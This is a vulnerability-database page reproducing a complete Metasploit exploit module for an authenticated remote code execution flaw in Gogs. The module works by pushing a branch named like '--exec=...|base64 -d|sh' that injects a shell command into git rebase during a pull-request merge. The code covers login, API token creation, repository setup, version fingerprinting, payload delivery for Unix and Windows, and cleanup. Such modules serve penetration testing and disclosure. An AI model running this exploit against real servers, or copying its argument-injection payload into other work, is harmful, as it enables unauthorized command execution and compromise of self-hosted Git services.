Lucene search
K

📄 Gogs Git Rebase Argument Injection / Remote Code Execution

🗓️ 03 Jun 2026 00:00:00Reported by Crypto-CatType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 16 Views

Exploits Gogs Git rebase argument injection causing remote code execution via --exec during rebase.

Code
# frozen_string_literal: true
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    
      Rank = ExcellentRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Gogs Git Rebase Argument Injection RCE',
            'Description' => %q{
              This module exploits an argument injection vulnerability in the
              pull request merge flow of Gogs (<= 0.14.2 and <= 0.15.0+dev).
    
              The Merge() function in internal/database/pull.go passes the PR
              base branch name to `git rebase` without a `--` separator. A
              branch named `--exec=<CMD>` is parsed by Git as the --exec flag
              rather than a positional argument, causing `sh -c <CMD>` to run
              after each replayed commit during the rebase.
    
              Two exploitation methods are supported:
    
              - own_repo: The attacker creates a temporary repository, enables
              rebase merge, and operates entirely within their own account.
              Any authenticated user who can create repositories (the default)
              can exploit this with no interaction from other users required.
    
              - existing_repo: The attacker exploits a repository they already
              have write and merge access to, where "Rebase before merging"
              is enabled (or the attacker has repo admin permissions to
              enable it). This path is useful on instances where repository
              creation is restricted.
    
              Both methods use git to push divergent branches (including the
              malicious --exec= branch), open a pull request, and trigger a
              rebase merge to execute the payload. A local git installation
              is required.
    
              On Unix targets, the payload is base64-encoded inline in
              the malicious branch name, avoiding the need to commit files
              to the repository. On Windows targets, the payload is
              delivered via a script file committed to the repository,
              since NTFS forbids pipe characters in filenames. Git for
              Windows uses MSYS2 sh for --exec commands, enabling
              cross-platform exploitation.
    
              Note: a successful rebase merge may leave the server-side
              repository in a corrupted git state (mid-rebase). For
              own_repo this is inconsequential because the repository is
              deleted. For existing_repo this can break the target
              repository and prevent re-exploitation against the same repo.
    
              The Gogs API does not support token deletion, so the API
              access token created during exploitation cannot be removed
              automatically and will persist under the attacker account.
            },
            'Author' => [
              'Crypto-Cat', # Vulnerability discovery and Metasploit module
            ],
            'References' => [
              # ['CVE', ''],
              ['GHSA', 'qf6p-p7ww-cwr9', 'gogs/gogs'],
              ['URL', 'https://www.rapid7.com/blog/post/ve-authenticated-rce-via-argument-injection-gogs-unfixed'],
              ['URL', 'https://github.com/gogs/gogs'],
            ],
            'DisclosureDate' => '2026-03-17',
            'License' => MSF_LICENSE,
            'Platform' => ['unix', 'linux', 'win'],
            'Arch' => ARCH_CMD,
            'Privileged' => false,
            'Targets' => [
              [
                'Unix Command',
                {
                  'Platform' => ['linux', 'unix'],
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => {
                    'FETCH_COMMAND' => 'WGET',
                    'FETCH_WRITABLE_DIR' => '/tmp/'
                  }
                }
              ],
              [
                'Windows Command',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD,
                  'Type' => :win_cmd,
                  'DefaultOptions' => {
                    'FETCH_COMMAND' => 'CURL'
                  }
                }
              ]
            ],
            'DefaultOptions' => {
              'RPORT' => 3000,
              'WfsDelay' => 30
            },
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS],
              # Not REPEATABLE_SESSION: existing_repo can corrupt the target
              # repo's git state (mid-rebase), preventing re-exploitation.
              'Reliability' => []
            }
          )
        )
    
        register_options([
          OptString.new('USERNAME', [true, 'Gogs username', nil]),
          OptString.new('PASSWORD', [true, 'Gogs password', nil]),
          OptEnum.new('EXPLOIT_METHOD', [
            true, 'Exploit method: own_repo creates a temporary repo, existing_repo targets a repo the attacker has write access to',
            'own_repo', ['own_repo', 'existing_repo']
          ]),
          OptString.new('REPO_OWNER', [false, 'Owner of the target repository (required for existing_repo)', nil], conditions: %w[EXPLOIT_METHOD == existing_repo]),
          OptString.new('REPO_NAME', [false, 'Name of the target repository (required for existing_repo)', nil], conditions: %w[EXPLOIT_METHOD == existing_repo]),
          OptBool.new('ENABLE_REBASE', [
            true, 'Enable rebase merge in repository settings (existing_repo requires repo admin access)', true
          ]),
        ])
    
        @need_cleanup = false
      end
    
      # Maps CSS/JS commit hashes to Gogs release versions for fingerprinting.
      # The hash appears in the ?v= parameter of static asset URLs on unauthenticated pages.
      COMMIT_TO_VERSION = {
        '5dcb6c64bdf61e38dbdbb941c1d69789c560d0fb' => '0.14.2',
        'f5c8030c1fd936f3e0e9f774e3c7c39fd102f56f' => '0.14.1',
        '36c26c4ccc3ca0339db53eb1fa41e4e86b55163d' => '0.14.0',
        'd958a47a0e9d8747e399c687fdb3ec64a3b1a736' => '0.13.4',
        '5084b4a9b77a506f5e287e82e945e1c6882b827a' => '0.13.3',
        '593c7b6db601c68d16b2fb9a7e1194cb816f5efb' => '0.13.2',
        '0c40e600a275d490481cfeea53705810fbe94d9b' => '0.13.1',
        '8c21874c00b6100d46b662f65baeb40647442f42' => '0.13.0',
        'c9fba3cb30af0789fcf89098dfcb8f2286ee7d3b' => '0.12.11',
        '1ce5171ae170750298c150874e718740dd7ef69f' => '0.12.10',
        '012a1ba19ed2f8f5185be4254f655ba6c4b34db2' => '0.12.9',
        '7f8799c01f264eb7770766621fb68debee414b68' => '0.12.8',
        'd06ba7e527fcc462aecdb660ce001e87d94f024c' => '0.12.7',
        '26395294bdef382b577fd60234e5bb14f4090cc8' => '0.12.6'
      }.freeze
    
      def own_repo?
        datastore['EXPLOIT_METHOD'] == 'own_repo'
      end
    
      def check
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path)
        )
        return CheckCode::Unknown('Target did not respond.') unless res
    
        unless res.body.to_s.match(/<meta +name="author" +content="Gogs"/)
          return CheckCode::Safe('Target does not appear to be running Gogs.')
        end
    
        # Fingerprint via static asset commit hash (unauthenticated, all versions)
        version = nil
        hash_match = res.body.to_s.match(/gogs\.min\.css\?v=([a-f0-9]{40})/)
        if hash_match
          version = COMMIT_TO_VERSION[hash_match[1]]
          vprint_status("Unknown Gogs commit hash: #{hash_match[1]}") unless version
        end
    
        service_info = version ? "Gogs Git Service #{version}" : 'Gogs Git Service'
        report_gogs_service(service_info)
    
        if version
          ver = Rex::Version.new(version)
          # NOTE: No fix exists yet. We assume a future version > 0.14.2 will
          # include a patch. If the next release (e.g. 0.14.3) is still
          # vulnerable, update this threshold accordingly.
          if ver <= Rex::Version.new('0.14.2')
            return CheckCode::Appears("Gogs #{version} detected.")
          else
            return CheckCode::Safe("Gogs #{version} detected.")
          end
        end
    
        CheckCode::Detected('Gogs detected, but could not determine version.')
      end
    
      def exploit
        fail_with(Failure::BadConfig, 'Local git installation required but not found') unless git_available?
    
        unless own_repo?
          fail_with(Failure::BadConfig, 'REPO_OWNER is required when EXPLOIT_METHOD is existing_repo') if datastore['REPO_OWNER'].blank?
          fail_with(Failure::BadConfig, 'REPO_NAME is required when EXPLOIT_METHOD is existing_repo') if datastore['REPO_NAME'].blank?
        end
    
        print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    
        # Authenticate (API token first, before web login adds session cookies)
        print_status("Authenticating as \"#{datastore['USERNAME']}\"")
        create_api_token
        gogs_login
        print_good('Authenticated')
    
        if own_repo?
          @repo_name = "#{Rex::Text.rand_text_alpha_lower(4)}-#{Rex::Text.rand_text_alpha_lower(4)}"
          @repo_path = "#{datastore['USERNAME']}/#{@repo_name}"
          print_status("Creating repository \"#{@repo_name}\"")
          create_repo
          @need_cleanup = true
          print_good('Repository created')
    
          print_status('Enabling rebase merge in repository settings')
          enable_rebase_merge
          print_good('Rebase merge enabled')
        else
          @repo_name = datastore['REPO_NAME']
          @repo_path = "#{datastore['REPO_OWNER']}/#{@repo_name}"
          print_status("Using existing repository \"#{@repo_path}\"")
          validate_existing_repo
          @need_cleanup = true
    
          if datastore['ENABLE_REBASE']
            try_enable_rebase
          else
            print_status('Assuming rebase merge is already enabled (set ENABLE_REBASE to change settings)')
          end
        end
    
        case target['Type']
        when :unix_cmd
          # Base64-encode the payload inline in the branch name. Pipes are
          # valid in Linux/macOS refs but forbidden on NTFS, so this is
          # Unix-only. No script file needs to be committed to the repo.
          wrapped = "(#{payload.encoded}) </dev/null >/dev/null 2>&1 &"
          b64 = Rex::Text.encode_base64(wrapped)
          # Git ref names forbid '//'; re-pad with leading spaces until safe
          padding = 0
          while b64.include?('//') && padding < 50
            padding += 1
            b64 = Rex::Text.encode_base64(' ' * padding + wrapped)
          end
          @malicious_branch = "--exec=echo${IFS}#{b64}|base64${IFS}-d|sh"
    
        when :win_cmd
          # NTFS forbids | in filenames so we can't use the base64|sh
          # approach. Instead, commit a script file to the repo.
          # MSYS2 sh mangles $, & etc. so write the payload to a .bat and
          # have the sh wrapper invoke cmd.exe instead.
          rand_name = Rex::Text.rand_text_alpha_lower(6)
          @payload_content = payload.encoded
          @payload_file = ".#{rand_name}"
          @bat_file = ".#{rand_name}.bat"
          @malicious_branch = "--exec=sh${IFS}#{@payload_file}"
        end
    
        print_status('Pushing branches via git')
        setup_branches_via_git
        print_good('Branches pushed')
    
        print_status('Creating pull request')
        @pr_number = create_pull_request
        print_good("PR ##{@pr_number} created")
    
        print_status('Triggering rebase merge')
        trigger_rebase_merge
        report_vuln(
          host: rhost,
          port: rport,
          proto: 'tcp',
          name: name,
          info: "Exploited via #{datastore['EXPLOIT_METHOD']} method",
          refs: references,
          service: report_gogs_service('Gogs Git Service')
        )
        print_good('Rebase merge triggered, waiting for shell...')
      end
    
      # ---------------------------------------------------------------
      # Authentication
      # ---------------------------------------------------------------
    
      def gogs_login
        res = http_post_request(
          '/user/login',
          user_name: datastore['USERNAME'],
          password: datastore['PASSWORD']
        )
        fail_with(Failure::Unreachable, 'Login page unreachable') unless res
        fail_with(Failure::NoAccess, 'Login failed - check credentials') unless res.code == 302
      end
    
      def create_api_token
        preflight = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api', 'v1')
        )
        fail_with(Failure::Unreachable, 'Gogs API not responding') unless preflight
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'users', datastore['USERNAME'], 'tokens'),
          'ctype' => 'application/json',
          'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) },
          'data' => { name: "msf_#{Rex::Text.rand_text_alpha_lower(8)}" }.to_json
        )
        fail_with(Failure::UnexpectedReply, "API token creation failed (HTTP #{res&.code})") unless res&.code == 201
    
        @api_token = res.get_json_document['sha1']
        vprint_good("API token: #{@api_token}")
      end
    
      # ---------------------------------------------------------------
      # Repository setup
      # ---------------------------------------------------------------
    
      def create_repo
        res = api_request(
          'POST',
          '/api/v1/user/repos',
          { name: @repo_name, private: true, default_branch: 'master' }.to_json
        )
        fail_with(Failure::UnexpectedReply, "Repo creation failed: #{res&.code}") unless res&.code == 201
      end
    
      def enable_rebase_merge
        res = http_post_request(
          "/#{@repo_path}/settings",
          action: 'advanced',
          enable_pulls: 'on',
          pulls_allow_rebase: 'on'
        )
        fail_with(Failure::Unreachable, 'Settings page unreachable') unless res
        fail_with(Failure::UnexpectedReply, 'Failed to enable rebase merge') unless [200, 302].include?(res.code)
      end
    
      def validate_existing_repo
        res = api_request('GET', "/api/v1/repos/#{@repo_path}")
        fail_with(Failure::BadConfig, "Repository #{@repo_path} not found or not accessible") unless res&.code == 200
    
        repo_info = res.get_json_document
        db = repo_info['default_branch'].to_s
        @default_branch = db.empty? ? 'master' : db
        vprint_status("Default branch: #{@default_branch}")
        print_good("Repository #{@repo_path} confirmed accessible")
      end
    
      def try_enable_rebase
        print_status('Attempting to enable rebase merge in repository settings')
        settings_uri = normalize_uri(target_uri.path, @repo_path, 'settings')
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => settings_uri,
          'keep_cookies' => true
        )
    
        unless res && res.code == 200
          print_warning('Could not access repository settings (may require repo admin). Ensure rebase merge is already enabled.')
          return
        end
    
        doc = res.get_html_document
        csrf = doc.at_xpath("//input[@name='_csrf']/@value")&.text
        unless csrf
          print_warning('Could not extract CSRF from settings page. Ensure rebase merge is already enabled.')
          return
        end
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => settings_uri,
          'keep_cookies' => true,
          'ctype' => 'application/x-www-form-urlencoded',
          'vars_post' => {
            '_csrf' => csrf,
            'action' => 'advanced',
            'enable_pulls' => 'on',
            'pulls_allow_rebase' => 'on'
          }
        )
    
        if res && [200, 302].include?(res.code)
          print_good('Rebase merge enabled')
        else
          print_warning('Could not enable rebase merge. Ensure it is already enabled.')
        end
      end
    
      # ---------------------------------------------------------------
      # Branch setup via local git
      # ---------------------------------------------------------------
    
      def setup_branches_via_git
        @tmpdir = Dir.mktmpdir('msf_gogs_')
        workdir = File.join(@tmpdir, 'work')
        clone_url = build_clone_url
    
        if own_repo?
          run_git!(['init', workdir])
          run_git!(['remote', 'add', 'origin', clone_url], workdir)
        else
          run_git!(['clone', clone_url, workdir])
        end
    
        run_git!(['config', 'user.email', Faker::Internet.email], workdir)
        run_git!(['config', 'user.name', Faker::Internet.username], workdir)
    
        if own_repo?
          File.write(File.join(workdir, 'README.md'), "# #{@repo_name}\n")
          run_git!(['add', '.'], workdir)
          run_git!(['commit', '-m', 'init'], workdir)
          run_git!(['push', '-u', 'origin', 'master'], workdir)
        end
    
        @feature_branch = "feature-#{Rex::Text.rand_text_alpha_lower(6)}"
        run_git!(['checkout', '-b', @feature_branch], workdir)
        File.write(File.join(workdir, 'feature.txt'), Rex::Text.rand_text_alpha(8))
        run_git!(['add', '.'], workdir)
        run_git!(['commit', '-m', 'feature'], workdir)
        run_git!(['push', 'origin', @feature_branch], workdir)
    
        # Create a divergent commit to force a rebase. For existing_repo, use
        # the repo's default branch. Never push directly to the base branch.
        base_branch = own_repo? ? 'master' : (@default_branch || 'master')
        run_git!(['checkout', base_branch], workdir)
        File.write(File.join(workdir, 'diverge.txt'), Rex::Text.rand_text_alpha(8))
    
        # Write payload script files for Windows targets. Linux uses
        # base64-encoded payload inline in the branch name instead.
        if @bat_file
          # sh wrapper -> cmd.exe -> .bat (//c prevents MSYS2 path conversion)
          File.write(File.join(workdir, @payload_file), "cmd.exe //c #{@bat_file} </dev/null >/dev/null 2>&1 &\n")
          File.write(File.join(workdir, @bat_file), @payload_content + "\n")
        end
    
        run_git!(['add', '.'], workdir)
        run_git!(['commit', '-m', 'diverge'], workdir)
    
        # Push malicious branch via refspec (bypasses checkout -b validation).
        # Don't push to the base branch itself (especially for existing_repo).
        run_git!(['push', 'origin', "HEAD:refs/heads/#{@malicious_branch}"], workdir)
        vprint_good("Malicious branch: #{@malicious_branch}")
    
        vprint_good("Feature branch: #{@feature_branch}")
      end
    
      def build_clone_url
        user_enc = Rex::Text.uri_encode(datastore['USERNAME'])
        pass_enc = Rex::Text.uri_encode(datastore['PASSWORD'])
        scheme = datastore['SSL'] ? 'https' : 'http'
        authority = Rex::Socket.to_authority(rhost, rport)
        "#{scheme}://#{user_enc}:#{pass_enc}@#{authority}#{normalize_uri(target_uri.path, @repo_path)}.git"
      end
    
      def git_available?
        _out, _err, status = Open3.capture3('git', '--version')
        status.success?
      rescue Errno::ENOENT
        false
      end
    
      def run_git!(args, cwd = nil)
        env = { 'GIT_TERMINAL_PROMPT' => '0' }
        opts = {}
        opts[:chdir] = cwd if cwd
        stdout, stderr, status = Open3.capture3(env, 'git', *args, **opts)
        unless status.success?
          fail_with(Failure::Unknown, "Git #{args.first} failed: #{stderr.strip}")
        end
        stdout
      end
    
      # Non-fatal variant for cleanup operations where failure is acceptable
      def run_git_safe(args, cwd = nil)
        env = { 'GIT_TERMINAL_PROMPT' => '0' }
        opts = {}
        opts[:chdir] = cwd if cwd
        _stdout, stderr, status = Open3.capture3(env, 'git', *args, **opts)
        unless status.success?
          vprint_warning("Git #{args.first} failed: #{stderr.strip}")
          return false
        end
        true
      rescue StandardError => e
        vprint_warning("Git #{args.first} error: #{e.message}")
        false
      end
    
      # ---------------------------------------------------------------
      # Pull request and merge
      # ---------------------------------------------------------------
    
      def create_pull_request
        encoded_branch = Rex::Text.uri_encode(@malicious_branch)
        compare_uri = "/#{@repo_path}/compare/#{encoded_branch}...#{@feature_branch}"
    
        res = http_post_request(
          compare_uri,
          title: Rex::Text.rand_text_alpha(6),
          content: '',
          assignee_id: '0',
          milestone_id: '0'
        )
        fail_with(Failure::Unreachable, 'Compare page unreachable') unless res
    
        if [302, 303].include?(res.code)
          location = res.headers['Location'].to_s
          pr_num = location.chomp('/').split('/').last
          return pr_num if pr_num =~ /^\d+$/
        end
    
        # Fallback: find PR via API
        res = api_request('GET', "/api/v1/repos/#{@repo_path}/pulls?state=open")
        if res&.code == 200
          pulls = res.get_json_document
          return pulls.last['number'].to_s unless pulls.empty?
        end
    
        fail_with(Failure::UnexpectedReply, 'PR creation failed')
      end
    
      def trigger_rebase_merge
        merge_uri = "/#{@repo_path}/pulls/#{@pr_number}/merge"
    
        pr_uri = "/#{@repo_path}/pulls/#{@pr_number}"
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, pr_uri),
          'keep_cookies' => true
        )
        csrf = extract_csrf(res)
    
        send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, merge_uri),
          'keep_cookies' => true,
          'ctype' => 'application/x-www-form-urlencoded',
          'vars_get' => { 'merge_style' => 'rebase_before_merging' },
          'vars_post' => {
            '_csrf' => csrf,
            'commit_description' => ''
          }
        }, 5)
        # May return 500 (expected on exec), 302 (merged), or timeout (blocking shell)
    
        # Reset connection pool since the merge POST may have timed out
        disconnect
      end
    
      # ---------------------------------------------------------------
      # HTTP helpers
      # ---------------------------------------------------------------
    
      def api_request(method, uri, body = nil)
        opts = {
          'method' => method,
          'uri' => normalize_uri(target_uri.path, uri),
          'headers' => { 'Authorization' => "token #{@api_token}" }
        }
        if body
          opts['ctype'] = 'application/json'
          opts['data'] = body
        end
        send_request_cgi(opts)
      end
    
      def http_post_request(uri, opts = {})
        full_uri = normalize_uri(target_uri.path, uri)
        csrf = get_csrf(full_uri)
    
        post_data = { _csrf: csrf }.merge(opts)
        send_request_cgi(
          'method' => 'POST',
          'uri' => full_uri,
          'ctype' => 'application/x-www-form-urlencoded',
          'keep_cookies' => true,
          'vars_post' => post_data
        )
      end
    
      def get_csrf(uri)
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => uri,
          'keep_cookies' => true
        )
        fail_with(Failure::Unreachable, "Unable to reach #{uri}") unless res
    
        extract_csrf(res)
      end
    
      def extract_csrf(res)
        fail_with(Failure::Unreachable, 'No response to extract CSRF from') unless res
    
        doc = res.get_html_document
        csrf = doc.at_xpath("//input[@name='_csrf']/@value")&.text
        fail_with(Failure::NotFound, 'CSRF token not found in response') if csrf.blank?
    
        csrf
      end
    
      def basic_auth(user, pass)
        "Basic #{Rex::Text.encode_base64("#{user}:#{pass}")}"
      end
    
      # Returns a service object for linking to report_vuln.
      # Builds the full layered service hierarchy: gogs -> [ssl ->] http -> tcp
      def report_gogs_service(info)
        base_opts = {
          host: rhost,
          port: rport,
          proto: 'tcp'
        }
        gogs_srv = base_opts.merge(name: 'gogs', info: info)
        http_srv = base_opts.merge(name: 'http', parents: base_opts.merge(name: 'tcp'))
        gogs_srv[:parents] = datastore['SSL'] ? base_opts.merge(name: 'ssl', parents: http_srv) : http_srv
    
        report_service(gogs_srv)
      end
    
      # ---------------------------------------------------------------
      # Cleanup
      # ---------------------------------------------------------------
    
      def cleanup
        super
    
        if @need_cleanup
          if own_repo?
            cleanup_own_repo
          else
            cleanup_existing_repo
          end
        end
    
        # Clean up local temp directory AFTER remote cleanup (existing_repo
        # branch deletion uses the local git workdir for push operations)
        if @tmpdir && File.directory?(@tmpdir)
          FileUtils.rm_rf(@tmpdir)
          vprint_status('Local temp directory cleaned up')
        end
    
        # Gogs API has no token deletion endpoint, so warn the user
        if @api_token
          print_warning('API token "msf_*" persists on the target (Gogs API does not support token deletion)')
        end
      end
    
      def cleanup_own_repo
        print_status("Cleaning up - deleting repository #{@repo_name}")
    
        send_request_cgi(
          'method' => 'DELETE',
          'uri' => normalize_uri(target_uri.path, '/api/v1/repos/', @repo_path),
          'headers' => { 'Authorization' => "token #{@api_token}" }
        )
    
        verify = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, '/api/v1/repos/', @repo_path),
          'headers' => { 'Authorization' => "token #{@api_token}" }
        )
    
        if verify&.code == 404
          print_good("Repository #{@repo_name} deleted")
        elsif verify.nil?
          print_warning("Could not confirm deletion. Delete #{@repo_path} manually if it still exists.")
        else
          print_warning("Repository may still exist. Delete #{@repo_path} manually.")
        end
      rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e
        print_warning("Cleanup failed: #{e.message}. Delete #{@repo_path} manually.")
      end
    
      def cleanup_existing_repo
        print_status("Cleaning up artifacts from #{@repo_path}")
        delete_remote_branches
        close_pull_request
      rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e
        print_warning("Cleanup failed: #{e.message}")
        print_warning("Manually delete branches and close PR ##{@pr_number} in #{@repo_path}")
      end
    
      def delete_remote_branches
        workdir = @tmpdir ? File.join(@tmpdir, 'work') : nil
        return unless workdir && File.directory?(workdir)
    
        if @malicious_branch
          vprint_status("Deleting malicious branch from #{@repo_path}")
          if run_git_safe(['push', 'origin', '--delete', "refs/heads/#{@malicious_branch}"], workdir)
            print_good('Malicious branch deleted')
          else
            print_warning("Could not delete malicious branch. Delete it manually from #{@repo_path}")
          end
        end
    
        if @feature_branch
          vprint_status("Deleting feature branch from #{@repo_path}")
          if run_git_safe(['push', 'origin', '--delete', @feature_branch], workdir)
            print_good('Feature branch deleted')
          else
            print_warning("Could not delete feature branch \"#{@feature_branch}\" from #{@repo_path}")
          end
        end
      end
    
      def close_pull_request
        return unless @pr_number
    
        # GET the PR page for CSRF (must use /pulls/ path; /issues/ redirects)
        pr_page = normalize_uri(target_uri.path, @repo_path, 'pulls', @pr_number)
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => pr_page,
          'keep_cookies' => true
        )
    
        unless res
          print_warning("Could not load PR page to close PR ##{@pr_number}")
          return
        end
    
        # Extract CSRF without fail_with (cleanup must not abort)
        doc = res.get_html_document
        csrf = doc.at_xpath("//input[@name='_csrf']/@value")&.text
        unless csrf
          print_warning("Could not find CSRF token to close PR ##{@pr_number}")
          return
        end
    
        comment_uri = normalize_uri(target_uri.path, @repo_path, 'issues', @pr_number, 'comments')
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => comment_uri,
          'keep_cookies' => true,
          'ctype' => 'application/x-www-form-urlencoded',
          'vars_post' => {
            '_csrf' => csrf,
            'status' => 'close',
            'content' => ''
          }
        )
    
        if res && [200, 302].include?(res.code)
          print_good("PR ##{@pr_number} closed")
        else
          print_warning("Could not close PR ##{@pr_number}. Close it manually in #{@repo_path}")
        end
      rescue StandardError => e
        print_warning("Failed to close PR: #{e.message}")
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation